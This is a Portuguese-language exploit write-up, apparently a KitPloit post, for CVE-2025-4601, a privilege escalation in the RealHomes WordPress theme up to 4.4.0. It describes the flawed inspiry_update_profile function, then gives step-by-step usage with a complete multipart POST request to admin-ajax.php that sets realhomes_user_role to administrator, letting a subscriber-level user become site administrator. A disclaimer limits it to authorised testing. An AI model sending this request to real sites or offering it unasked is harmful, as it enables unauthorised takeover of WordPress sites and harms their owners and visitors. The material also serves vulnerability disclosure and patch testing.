CVE-2025-4601 - Tema WordPress RealHomes <= 4.4.0 - Escalação de Privilégios

🔥 Resumo da Vulnerabilidade O tema WordPress RealHomes versões <= 4.4.0 é vulnerável a uma vulnerabilidade de escalação de privilégios. Isso permite que usuários autenticados com privilégios baixos (como assinantes) elevem seus papéis para administradores. Essa vulnerabilidade ocorre através da função inspiry_update_profile, que permite indevidamente que os usuários alterem seu papel se a opção ere_allow_users_change_role estiver habilitada.

Este problema pode ser explorado enviando uma solicitação POST especialmente criada para o endpoint admin-ajax.php, fornecendo o parâmetro realhomes_user_role definido como administrator.

🔍 Tema Afetado

• Nome do Tema: RealHomes
• Versão Afetada: <= 4.4.0
• Tipo de Vulnerabilidade: Escalação de Privilégios
• ID CVE: CVE-2025-4601
• Pontuação CVSS: 8.8 (Crítica)
• Impacto: Acesso Administrativo Total → Possível Comprometimento do Site

🧪 Características do Exploit

• 📥 Obtém o nonce automaticamente da página alvo.
• 🔐 Eleva o papel do usuário para administrator através do parâmetro realhomes_user_role.
• 🌐 Nenhuma autenticação adicional necessária além de estar logado como um usuário de baixo privilégio (ex.: assinante).
• 💾 Atualiza o perfil do usuário, concedendo acesso administrativo ao atacante.

🧠 Pesquisador

• Crédito: Thai An

🚀 Uso

1. Faça login no site alvo como um usuário de baixo privilégio (ex.: assinante).

2. Acesse o endpoint /wp-admin/admin-ajax.php com os seguintes dados POST, que incluem o realhomes_user_role definido como administrator:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/2
   Host: targetsite.com
   Cookie: wordpress_logged_in_xxx=...
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
   
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="first-name"
   test
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="last-name"
   user
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="realhomes_user_role"
   administrator
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="action"
   inspiry_update_profile
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
   

3. Verifique a resposta: Se a solicitação for bem-sucedida, o atacante obterá acesso administrativo.

4. Verifique acessando a página /wp-admin/ para confirmar se o atacante recebeu privilégios de administrador.

🔒 Aviso Legal: Isto destina-se apenas a fins educacionais e deve ser usado somente em sistemas que você possui ou para os quais está explicitamente autorizado a testar. O uso indevido deste código pode levar a consequências legais.